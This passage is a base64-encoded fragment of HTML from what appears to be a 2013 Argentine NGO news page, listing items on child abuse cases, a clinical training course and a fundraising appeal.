lZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgIC